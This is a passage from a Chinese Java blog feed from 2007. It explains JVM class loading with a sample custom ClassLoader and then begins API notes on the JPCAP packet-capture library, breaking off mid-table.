            <p>　　Java虚拟机(JVM)的类装载就是指将包含在类文件中的字节码装载到JVM中, 并使其成为JVM一部分的过程。JVM的类动态装载技术能够在运行时刻动态地加载或者替换系统的某些功能模块, 而不影响系统其他功能模块的正常运行。本文将分析JVM中的类装载系统，探讨JVM中类装载的原理、实现以及应用。 </p>
            <p>　　二、Java虚拟机的类装载实现与应用 </p>
            <p>　　2.1 装载过程简介 </p>
            <p>　　所谓装载就是寻找一个类或是一个接口的二进制形式并用该二进制形式来构造代表这个类或是这个接口的class对象的过程，其中类或接口的名称是给定了的。当然名称也可以通过计算得到，但是更常见的是通过搜索源代码经过编译器编译后所得到的二进制形式来构造。 </p>
            <p>　　在Java中，类装载器把一个类装入Java虚拟机中，要经过三个步骤来完成：装载、链接和初始化，其中链接又可以分成校验、准备和解析三步，除了解析外，其它步骤是严格按照顺序完成的，各个步骤的主要工作如下： </p>
            <p>　　装载：查找和导入类或接口的二进制数据； <br>　　链接：执行下面的校验、准备和解析步骤，其中解析步骤是可以选择的； <br>　　校验：检查导入类或接口的二进制数据的正确性； <br>　　准备：给类的静态变量分配并初始化存储空间； <br>　　解析：将符号引用转成直接引用； <br>　　初始化：激活类的静态变量的初始化Java代码和静态Java代码块。 </p>
            <p>　　至于在类装载和虚拟机启动的过程中的具体细节和可能会抛出的错误，请参看《Java虚拟机规范》以及《深入Java虚拟机》，它们在网络上面的资源地址是： <br>　　<a href="http://java.sun.com/docs/books/vmspec/2nd-edition/html/Preface.doc.html"><font color=#444444>http://java.sun.com/docs/books/vmspec/2nd-edition/html/Preface.doc.html</font></a><br>　　<a href="http://www.artima.com/insidejvm/ed2/index.html"><font color=#444444>http://www.artima.com/insidejvm/ed2/index.html</font></a><br>　　由于本文的讨论重点不在此就不再多叙述。 </p>
            <p>　　2.2 装载的实现 </p>
            <p>　　JVM中类的装载是由ClassLoader和它的子类来实现的,Java ClassLoader 是一个重要的Java运行时系统组件。它负责在运行时查找和装入类文件的类。 </p>
            <p>　　在Java中，ClassLoader是一个抽象类，它在包java.lang中,可以这样说，只要了解了在ClassLoader中的一些重要的方法，再结合上面所介绍的JVM中类装载的具体的过程，对动态装载类这项技术就有了一个比较大概的掌握，这些重要的方法包括以下几个: </p>
            <p>　　①loadCass方法 loadClass(String name ,boolean resolve)其中name参数指定了JVM需要的类的名称,该名称以包表示法表示,如Java.lang.Object；resolve参数告诉方法是否需要解析类，在初始化类之前,应考虑类解析，并不是所有的类都需要解析，如果JVM只需要知道该类是否存在或找出该类的超类,那么就不需要解析。这个方法是ClassLoader 的入口点。 </p>
            <p>　　②defineClass方法 这个方法接受类文件的字节数组并把它转换成Class对象。字节数组可以是从本地文件系统或网络装入的数据。它把字节码分析成运行时数据结构、校验有效性等等。 </p>
            <p>　　③findSystemClass方法 findSystemClass方法从本地文件系统装入文件。它在本地文件系统中寻找类文件,如果存在,就使用defineClass将字节数组转换成Class对象,以将该文件转换成类。当运行Java应用程序时,这是JVM 正常装入类的缺省机制。 </p>
            <p>　　④resolveClass方法 resolveClass(Class c)方法解析装入的类,如果该类已经被解析过那么将不做处理。当调用loadClass方法时,通过它的resolve 参数决定是否要进行解析。 </p>
            <p>　　⑤findLoadedClass方法 当调用loadClass方法装入类时,调用findLoadedClass 方法来查看ClassLoader是否已装入这个类,如果已装入,那么返回Class对象,否则返回NULL。如果强行装载已存在的类,将会抛出链接错误。 </p>
            <p>　　2.3 装载的应用 </p>
            <p>　　一般来说，我们使用虚拟机的类装载时需要继承抽象类java.lang.ClassLoader,其中必须实现的方法是loadClass()，对于这个方法需要实现如下操作:(1) 确认类的名称;(2) 检查请求要装载的类是否已经被装载;(3) 检查请求加载的类是否是系统类;(4) 尝试从类装载器的存储区获取所请求的类;(5) 在虚拟机中定义所请求的类;(6) 解析所请求的类;(7) 返回所请求的类。 </p>
            <p>　　所有的Java 虚拟机都包括一个内置的类装载器，这个内置的类库装载器被称为根装载器(bootstrap ClassLoader)。根装载器的特殊之处是它只能够装载在设计时刻已知的类,因此虚拟机假定由根装载器所装载的类都是安全的、可信任的,可以不经过安全认证而直接运行。当应用程序需要加载并不是设计时就知道的类时,必须使用用户自定义的装载器(user-defined ClassLoader)。下面我们举例说明它的应用。 </p>
            <p>　　public abstract class MultiClassLoader extends ClassLoader{ <br>　　... <br>　　public synchronized Class loadClass(String s, boolean flag) <br>　　throws ClassNotFoundException <br>　　{ <br>　　/* 检查类s是否已经在本地内存*/ <br>　　Class class1 = (Class)classes.get(s); </p>
            <p>　　/* 类s已经在本地内存*/ <br>　　if(class1 != null) return class1; <br>　　try/*用默认的ClassLoader 装入类*/ { <br>　　class1 = super.findSystemClass(s); <br>　　return class1; <br>　　} <br>　　catch(ClassNotFoundException _ex) { <br>　　System.out.println("&gt;&gt; Not a system class."); <br>　　} </p>
            <p>　　/* 取得类s的字节数组*/ <br>　　byte abyte0[] = loadClassBytes(s); <br>　　if(abyte0 == null) throw new ClassNotFoundException(); </p>
            <p>　　/* 将类字节数组转换为类*/ <br>　　class1 = defineClass(null, abyte0, 0, abyte0.length); <br>　　if(class1 == null) throw new ClassFormatError(); <br>　　if(flag) resolveClass(class1); /*解析类*/ </p>
            <p>　　/* 将新加载的类放入本地内存*/ <br>　　classes.put(s, class1); <br>　　System.out.println("&gt;&gt; Returning newly loaded class."); </p>
            <p>　　/* 返回已装载、解析的类*/ <br>　　return class1; <br>　　} <br>　　... <br>　　} <br>三、Java虚拟机的类装载原理 </p>
            <p>　　前面我们已经知道，一个Java应用程序使用两种类型的类装载器：根装载器(bootstrap)和用户定义的装载器(user-defined)。根装载器是Java虚拟机实现的一部分，举个例子来说，如果一个Java虚拟机是在现在已经存在并且正在被使用的操作系统的顶部用C程序来实现的，那么根装载器将是那些C程序的一部分。根装载器以某种默认的方式将类装入，包括那些Java API的类。在运行期间一个Java程序能安装用户自己定义的类装载器。根装载器是虚拟机固有的一部分，而用户定义的类装载器则不是，它是用Java语言写的，被编译成class文件之后然后再被装入到虚拟机，并像其它的任何对象一样可以被实例化。 Java类装载器的体系结构如下所示： <br>　　 <br>　　Java的类装载模型是一种代理(delegation)模型。当JVM 要求类装载器CL(ClassLoader)装载一个类时,CL首先将这个类装载请求转发给他的父装载器。只有当父装载器没有装载并无法装载这个类时,CL才获得装载这个类的机会。这样, 所有类装载器的代理关系构成了一种树状的关系。树的根是类的根装载器(bootstrap ClassLoader) , 在JVM 中它以"null"表示。除根装载器以外的类装载器有且仅有一个父装载器。在创建一个装载器时, 如果没有显式地给出父装载器, 那么JVM将默认系统装载器为其父装载器。Java的基本类装载器代理结构如图2所示： <br>下面针对各种类装载器分别进行详细的说明。 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 根(Bootstrap) 装载器:该装载器没有父装载器，它是JVM实现的一部分，从sun.boot.class.path装载运行时库的核心代码。 <br>&nbsp;&nbsp;&nbsp;&nbsp; 扩展(Extension) 装载器:继承的父装载器为根装载器，不像根装载器可能与运行时的操作系统有关，这个类装载器是用纯Java代码实现的，它从java.ext.dirs (扩展目录)中装载代码。 <br>　　系统(System or Application) 装载器:装载器为扩展装载器，我们都知道在安装JDK的时候要设置环境变量(CLASSPATH )，这个类装载器就是从java.class.path(CLASSPATH 环境变量)中装载代码的，它也是用纯Java代码实现的，同时还是用户自定义类装载器的缺省父装载器。 </p>
            <p>　　小应用程序(Applet) 装载器: 装载器为系统装载器，它从用户指定的网络上的特定目录装载小应用程序代码。 </p>
            <p>　　在设计一个类装载器的时候，应该满足以下两个条件： </p>
            <p>　　对于相同的类名，类装载器所返回的对象应该是同一个类对象 </p>
            <p>　　如果类装载器CL1将装载类C的请求转给类装载器CL2，那么对于以下的类或接口,CL1和CL2应该返回同一个类对象:a)S为C的直接超类;b)S为C的直接超接口;c)S为C的成员变量的类型;d)S为C的成员方法或构建器的参数类型;e)S为C的成员方法的返回类型。 <br>　　每个已经装载到JVM中的类都隐式含有装载它的类装载器的信息。类方法getClassLoader 可以得到装载这个类的类装载器。一个类装载器认识的类包括它的父装载器认识的类和它自己装载的类，可见类装载器认识的类是它自己装载的类的超集。注意我们可以得到类装载器的有关的信息，但是已经装载到JVM中的类是不能更改它的类装载器的。 </p>
            <p>　　Java中的类的装载过程也就是代理装载的过程。比如:Web浏览器中的JVM需要装载一个小应用程序TestApplet。JVM调用小应用程序装载器ACL(Applet ClassLoader)来完成装载。ACL首先请求它的父装载器, 即系统装载器装载TestApplet是否装载了这个类, 由于TestApplet不在系统装载器的装载路径中, 所以系统装载器没有找到这个类, 也就没有装载成功。接着ACL自己装载TestApplet。ACL通过网络成功地找到了TestApplet.class 文件并将它导入到了JVM中。在装载过程中, JVM发现TestAppet是从超类java.applet.Applet继承的。所以JVM再次调用ACL来装载java.applet.Applet类。ACL又再次按上面的顺序装载Applet类, 结果ACL发现他的父装载器已经装载了这个类, 所以ACL就直接将这个已经装载的类返回给了JVM , 完成了Applet类的装载。接下来,Applet类的超类也一样处理。最后, TestApplet及所有有关的类都装载到了JVM中。 </p>
            <p>　　四、结论 </p>
            <p>　　类的动态装载机制是JVM的一项核心技术, 也是容易被忽视而引起很多误解的地方。本文介绍了JVM中类装载的原理、实现以及应用，尤其分析了ClassLoader的结构、用途以及如何利用自定义的ClassLoader装载并执行Java类，希望能使读者对JVM中的类装载有一个比较深入的理解</p>
            </span></td>
        </tr>
    </tbody>
</table>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/135825.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-10 14:22 <a href="http://www.blogjava.net/WshmAndLily/articles/135825.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JPCAP——JAVA中的数据链路层控制 </title><link>http://www.blogjava.net/WshmAndLily/articles/135824.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 10 Aug 2007 06:20:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/135824.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/135824.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/135824.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/135824.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/135824.html</trackback:ping><description><![CDATA[<div><strong>一．</strong> <strong>JPCAP</strong> <strong>简介</strong> </div>
<div>众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。</div>
<div>JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。</div>
<div><strong>二．</strong> <strong>JPCAP</strong> <strong>机制</strong> </div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JPCAP</span>的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap<span>的</span><span>typedef struct _ADAPTER&nbsp;&nbsp;ADAPTER</span><span>，</span><span>getDeviceList()</span><span>对应</span>pcap_findalldevs()等等。<span> JPCAP有16个类，下面就其中最重要的4个类做说明。</span></div>
<div><strong></strong>&nbsp;</div>
<div><strong><span>1．</span> </strong><strong>NetworkInterface</strong> </div>
<div>该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。</div>
<div><strong></strong>&nbsp;</div>
<table style="WIDTH: 100%" cellSpacing=0 cellPadding=0 width="100%" border=1>
    <tbody>
        <tr>
            <td style="BORDER-RIGHT: #aca899 1pt inset; PADDING-RIGHT: 2.25pt; BORDER-TOP: 1pt inset; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; BORDER-LEFT: 1pt inset; WIDTH: 100%; PADDING-TOP: 2.25pt; BORDER-BOTTOM: 1pt inset" width="100%" colSpan=2>
            <div><strong><span>数据成员</span> </strong></div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.12%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><span>NetworkInterfaceAddress[]</span> </div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.88%; PADDING-TOP: 2.25pt" width="71%">
            <div align=left><strong><span>addresses</span> </strong></div>
            <div align=left><span>&nbsp;&nbsp;&nbsp; </span><span>这个接口的网络地址。设定为数组应该是考虑到有些设备同时连接多条线路，例如路由器。但我们的PC机的网卡一般只有一条线路，所以我们一般取addresses[0]就够了。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.12%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><span>&nbsp;java.lang.String</span> </div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.88%; PADDING-TOP: 2.25pt" width="71%">
            <div align=left><strong><span>datalink_description</span> </strong><span>.</span> </div>
            <div align=left><span>&nbsp;&nbsp;&nbsp; </span><span>数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.12%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><span>&nbsp;java.lang.String</span> </div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.88%; PADDING-TOP: 2.25pt" width="71%">
            <div align=left><strong><span>datalink_name </span></strong></div>
            <div align=left><span>&nbsp;&nbsp; </span><span>该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、<span>100M、1000M等等。</span></span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.12%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><span>&nbsp;java.lang.String</span> </div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.88%; PADDING-TOP: 2.25pt" width="71%">
            <div align=left><strong><span>description</span> </strong></div>
            <div align=left><span>&nbsp;&nbsp; </span><span>网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC </span></div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.12%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><span>&nbsp;boolean</span> </div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.88%; PADDING-TOP: 2.25pt" width="71%">
            <div align=left><strong><span>Loopback</span> </strong></div>
            <div align=left><span>&nbsp;&nbsp;&nbsp; </span><span>标志这个设备是否loopback设备。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.12%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><span>&nbsp;byte[]</span> </div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.88%; PADDING-TOP: 2.25pt" width="71%">
            <div align=left><strong><span>mac_address</span> </strong></div>
            <div align=left><span>&nbsp;&nbsp;&nbsp;</span> <span>网卡的MAC地址，6个字节。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.12%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><span>&nbsp;java.lang.String</span> </div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.88%; PADDING-TOP: 2.25pt" width="71%">
            <div align=left><strong><span>Name</span> </strong></div>
            <div align=left><span>&nbsp;&nbsp;&nbsp; </span><span>这个设备的名称。例如我的网卡名称：\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}</span> </div>
            </td>
        </tr>
    </tbody>
</table>
<div><strong></strong>&nbsp;</div>
<div><strong><span>2．</span> </strong><strong>JpcapCaptor</strong> </div>
<div>该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。</div>
<div>&nbsp;</div>
<table style="WIDTH: 100%" cellSpacing=0 cellPadding=0 width="100%" border=1>
    <tbody>
        <tr>
            <td style="BORDER-RIGHT: #aca899 1pt inset; PADDING-RIGHT: 2.25pt; BORDER-TOP: 1pt inset; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; BORDER-LEFT: 1pt inset; WIDTH: 100%; PADDING-TOP: 2.25pt; BORDER-BOTTOM: 1pt inset" vAlign=top width="100%" colSpan=2>
            <div><code><strong><span>数据成员</span> </strong></code></div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;int</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>dropped_packets&nbsp;</span> </strong></code></div>
            <div><span style="FONT-SIZE: 9pt">抛弃的包的数目。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>protected &nbsp;int</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>ID</span> </strong></code></div>
            <div><code><strong><span>&nbsp;&nbsp;&nbsp; </span></strong></code><span>这个数据成员在官方文档中并没有做任何说明，查看</span> <span>JPCAP</span> <span>源代码可以发现这个</span> <span>ID</span> <span>实际上在其</span> <span>JNI</span> <span>的</span> <span>C</span> <span>代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对</span> <span>JpcapCator</span> <span>实例的使用中也没有办法调用此数据成员。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>protected static&nbsp;boolean[]</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>instanciatedFlag</span> </strong></code></div>
            <div><span>&nbsp;&nbsp; </span><span>同样在官方文档中没有做任何说明，估计其为供内部使用。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>protected static&nbsp;int</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>MAX_NUMBER_OF_INSTANCE</span> </strong></code></div>
            <div><span style="FONT-SIZE: 9pt">同样在官方文档中没有做任何说明，估计其为供内部使用。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>int</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>received_packets</span> </strong></code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span> <span>收到的包的数目</span> </div>
            </td>
        </tr>
        <tr>
            <td style="BORDER-RIGHT: #aca899 1pt inset; PADDING-RIGHT: 2.25pt; BORDER-TOP: 1pt inset; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; BORDER-LEFT: 1pt inset; WIDTH: 100%; PADDING-TOP: 2.25pt; BORDER-BOTTOM: 1pt inset" vAlign=top width="100%" colSpan=2>
            <div><code><strong><span>方法成员</span> </strong></code></div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>static&nbsp;NetworkInterface[]</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>getDeviceList</span> </strong></code><code><span>()</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span> <span>返回一个网络设备列表。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>static&nbsp;JpcapCaptor</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>openDevice</span> </strong></code><code><span>(NetworkInterface interface, int&nbsp;snaplen, boolean&nbsp;promisc, int&nbsp;to_ms)</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。</span> </div>
            <div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Interface</span> <span>：要打开连接的设备的实例；</span> </div>
            <div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Snaplen</span> <span>：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节；</span> </div>
            <div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Promisc</span> <span>：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数</span> <span>setFilter()</span> <span>将不起任何作用；</span> </div>
            <div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To_ms</span> <span>：这个参数主要用于</span> <span>processPacket()</span> <span>方法，指定超时的时间；</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;void</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>Close</span> </strong></code>()<span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>关闭调用该方法的设备的连接，相对于</span><span>openDivece()</span><span>打开连接。</span></div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;JpcapSender</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>getJpcapSenderInstance</span> </strong></code><code><span>()</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>该返回一个</span> <span>JpcapSender</span> <span>实例，</span> <span>JpcapSender</span> <span>类是专门用于控制设备的发送数据包的功能的类。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;Packet</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>getPacket</span> </strong></code><code><span>()</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span> <span>捕捉并返回一个数据包。这是</span> <span>JpcapCaptor</span> <span>实例中四种捕捉包的方法之一。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;int</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>loopPacket</span> </strong></code><code><span>(int&nbsp;count, PacketReceiver handler)</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>捕捉指定数目的数据包，并交由实现了</span> <span>PacketReceiver</span> <span>接口的类的实例处理，并返回捕捉到的数据包数目。如果</span> <span>count</span> <span>参数设为－</span> <span>1</span> <span>，那么无限循环地捕捉数据。</span> </div>
            <div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>这个方法不受超时的影响。还记得</span> <span>openDivice()</span> <span>中的</span> <span>to_ms</span> <span>参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。</span> </div>
            <div><span style="FONT-SIZE: 9pt">PacketReceiver</span> <span>中只有一个抽象方法</span> <span>void receive(Packet p)</span> <span>。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;int</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
